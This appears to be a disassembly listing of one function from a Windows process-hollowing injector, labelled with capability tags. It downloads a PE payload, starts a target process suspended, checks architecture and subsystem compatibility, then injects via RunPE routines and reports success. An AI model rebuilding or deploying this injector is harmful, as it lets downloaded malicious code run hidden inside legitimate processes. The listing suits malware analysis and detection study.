Function at 0x140009de5
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0xa0], rax
lea rax, str._PROCESS_HOLLOWING__n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0xa8]
mov rcx, rax
call sym.GetDownloadFileContent_char_const_
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x140009e58
mov eax, 0xffffffff
jmp 0x14000a4fd
mov rax, qword [rbp + 0x98]
mov rdx, rax
lea rax, str.___PE_file_content_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x98]
mov rcx, rax
call sym.IsValidPE_void_
mov dword [rbp + 0x94], eax
cmp dword [rbp + 0x94], 0
jne 0x140009ed6
lea rax, str.____The_PE_file_is_not_valid___n
mov rcx, rax
call sym.printf_char_const__::_
cmp qword [rbp + 0x98], 0
je 0x140009ecc
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x98]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov eax, 0xffffffff
jmp 0x14000a4fd
lea rax, str.___The_PE_file_is_valid._n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x20]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x20], 0x68
mov rax, rbp
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xa0]
mov rdx, rbp
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x90], eax
cmp dword [rbp + 0x90], 0
jne 0x140009faa
lea rax, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanAndExitProcess__PROCESS_INFORMATION__void_
mov eax, 0xffffffff
jmp 0x14000a4fd
mov rax, qword [rbp]
lea rdx, [rbp - 4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_IsWow64Process]
call rax
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov eax, dword [rbp - 4]
test eax, eax
je 0x14000a035
lea rax, [rbp - 0x30]
mov rdx, rbp
mov rcx, rax
call sym.GetProcessAddressInformation32__PROCESS_INFORMATION_
mov rax, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp - 0x18]
test rax, rax
je 0x14000a00a
mov rax, qword [rbp - 0x20]
test rax, rax
jne 0x14000a091
lea rax, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanAndExitProcess__PROCESS_INFORMATION__void_
mov eax, 0xffffffff
jmp 0x14000a4fd
lea rax, [rbp - 0x30]
mov rdx, rbp
mov rcx, rax
call sym.GetProcessAddressInformation64__PROCESS_INFORMATION_
mov rax, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp - 0x18]
test rax, rax
je 0x14000a066
mov rax, qword [rbp - 0x20]
test rax, rax
jne 0x14000a091
lea rax, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanAndExitProcess__PROCESS_INFORMATION__void_
mov eax, 0xffffffff
jmp 0x14000a4fd
mov rax, qword [rbp - 0x20]
mov rdx, rax
lea rax, str.___Target_Process_PEB_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rax, str.___Target_Process_Image_Base_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x98]
mov rcx, rax
call sym.IsPE32_void_
mov dword [rbp + 0x8c], eax
cmp dword [rbp + 0x8c], 0
je 0x14000a0ec
lea rax, str.___Source_PE_Image_architecture_:_x86_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x14000a0fb
lea rax, str.___Source_PE_Image_architecture_:_x64_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp - 4]
test eax, eax
je 0x14000a113
lea rax, str.___Target_PE_Image_architecture_:_x86_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x14000a122
lea rax, str.___Target_PE_Image_architecture_:_x64_n
mov rcx, rax
call sym.printf_char_const__::_
cmp dword [rbp + 0x8c], 0
je 0x14000a132
mov eax, dword [rbp - 4]
test eax, eax
jne 0x14000a142
cmp dword [rbp + 0x8c], 0
jne 0x14000a15c
mov eax, dword [rbp - 4]
test eax, eax
jne 0x14000a15c
lea rax, str.___Architecture_are_compatible___n
mov rcx, rax
call sym.printf_char_const__::_
cmp dword [rbp + 0x8c], 0
jne 0x14000a175
jmp 0x14000a18c
lea rax, str.____Architecture_are_not_compatible___n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x14000a4fd
mov rax, qword [rbp + 0x98]
mov rcx, rax
call sym.GetSubsytem32_void_
mov dword [rbp + 0xbc], eax
jmp 0x14000a1a1
mov rax, qword [rbp + 0x98]
mov rcx, rax
call sym.GetSubsytem64_void_
mov dword [rbp + 0xbc], eax
cmp dword [rbp + 0xbc], 0xffffffff
jne 0x14000a1d5
lea rax, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_source_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanAndExitProcess__PROCESS_INFORMATION__void_
mov eax, 0xffffffff
jmp 0x14000a4fd
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rax, str.___Source_Image_subsystem_:_0x_X_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp - 4]
test eax, eax
je 0x14000a20b
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp]
mov rcx, rax
call sym.GetSubsystemEx32_void__void_
mov dword [rbp + 0xb8], eax
jmp 0x14000a221
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp]
mov rcx, rax
call sym.GetSubsystemEx64_void__void_
mov dword [rbp + 0xb8], eax
cmp dword [rbp + 0xb8], 0xffffffff
jne 0x14000a255
lea rax, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanAndExitProcess__PROCESS_INFORMATION__void_
mov eax, 0xffffffff
jmp 0x14000a4fd
mov eax, dword [rbp + 0xb8]
mov edx, eax
lea rax, str.___Target_Process_subsystem_:_0x_X_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp + 0xbc]
cmp eax, dword [rbp + 0xb8]
jne 0x14000a294
lea rax, str.___Subsytems_are_compatible._n
mov rcx, rax
call sym.printf_char_const__::_
cmp dword [rbp + 0x8c], 0
je 0x14000a2d6
jmp 0x14000a2bf
lea rax, str.____Subsytems_are_not_compatible._n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanAndExitProcess__PROCESS_INFORMATION__void_
mov eax, 0xffffffff
jmp 0x14000a4fd
mov rax, qword [rbp + 0x98]
mov rcx, rax
call sym.HasRelocation32_void_
mov dword [rbp + 0xb4], eax
jmp 0x14000a2eb
mov rax, qword [rbp + 0x98]
mov rcx, rax
call sym.HasRelocation64_void_
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
jne 0x14000a305
lea rax, str.___The_source_image_doesnt_have_a_relocation_table._n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x14000a314
lea rax, str.___The_source_image_has_a_relocation_table._n
mov rcx, rax
call sym.printf_char_const__::_
cmp dword [rbp + 0x8c], 0
je 0x14000a36c
cmp dword [rbp + 0xb4], 0
jne 0x14000a36c
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.RunPE32__PROCESS_INFORMATION__void_
test eax, eax
setne al
test al, al
je 0x14000a36c
lea rax, str.___The_injection_has_succeed___n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanProcess__PROCESS_INFORMATION__void_
mov eax, 0
jmp 0x14000a4fd
cmp dword [rbp + 0x8c], 0
je 0x14000a3c4
cmp dword [rbp + 0xb4], 0
je 0x14000a3c4
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.RunPEReloc32__PROCESS_INFORMATION__void_
test eax, eax
setne al
test al, al
je 0x14000a3c4
lea rax, str.___The_injection_has_succeed___n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanProcess__PROCESS_INFORMATION__void_
mov eax, 0
jmp 0x14000a4fd
cmp dword [rbp + 0x8c], 0
jne 0x14000a41c
cmp dword [rbp + 0xb4], 0
jne 0x14000a41c
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.RunPE64__PROCESS_INFORMATION__void_
test eax, eax
setne al
test al, al
je 0x14000a41c
lea rax, str.___The_injection_has_succeed___n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanProcess__PROCESS_INFORMATION__void_
mov eax, 0
jmp 0x14000a4fd
cmp dword [rbp + 0x8c], 0
jne 0x14000a474
cmp dword [rbp + 0xb4], 0
je 0x14000a474
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.RunPEReloc64__PROCESS_INFORMATION__void_
test eax, eax
setne al
test al, al
je 0x14000a474
lea rax, str.___The_injection_has_succeed___n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x98]
mov rax, rbp
mov rcx, rax
call sym.CleanProcess__PROCESS_INFORMATION__void_
mov eax, 0
jmp 0x14000a4fd
lea rax, str.____The_injection_has_failed___n
mov rcx, rax
call sym.printf_char_const__::_
cmp qword [rbp + 0x98], 0
je 0x14000a4b1
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x98]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov rax, qword [rbp + 8]
test rax, rax
je 0x14000a4ca
mov rax, qword [rbp + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp]
test rax, rax
je 0x14000a4f8
mov rax, qword [rbp]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
add rsp, 0x140
pop rbp
ret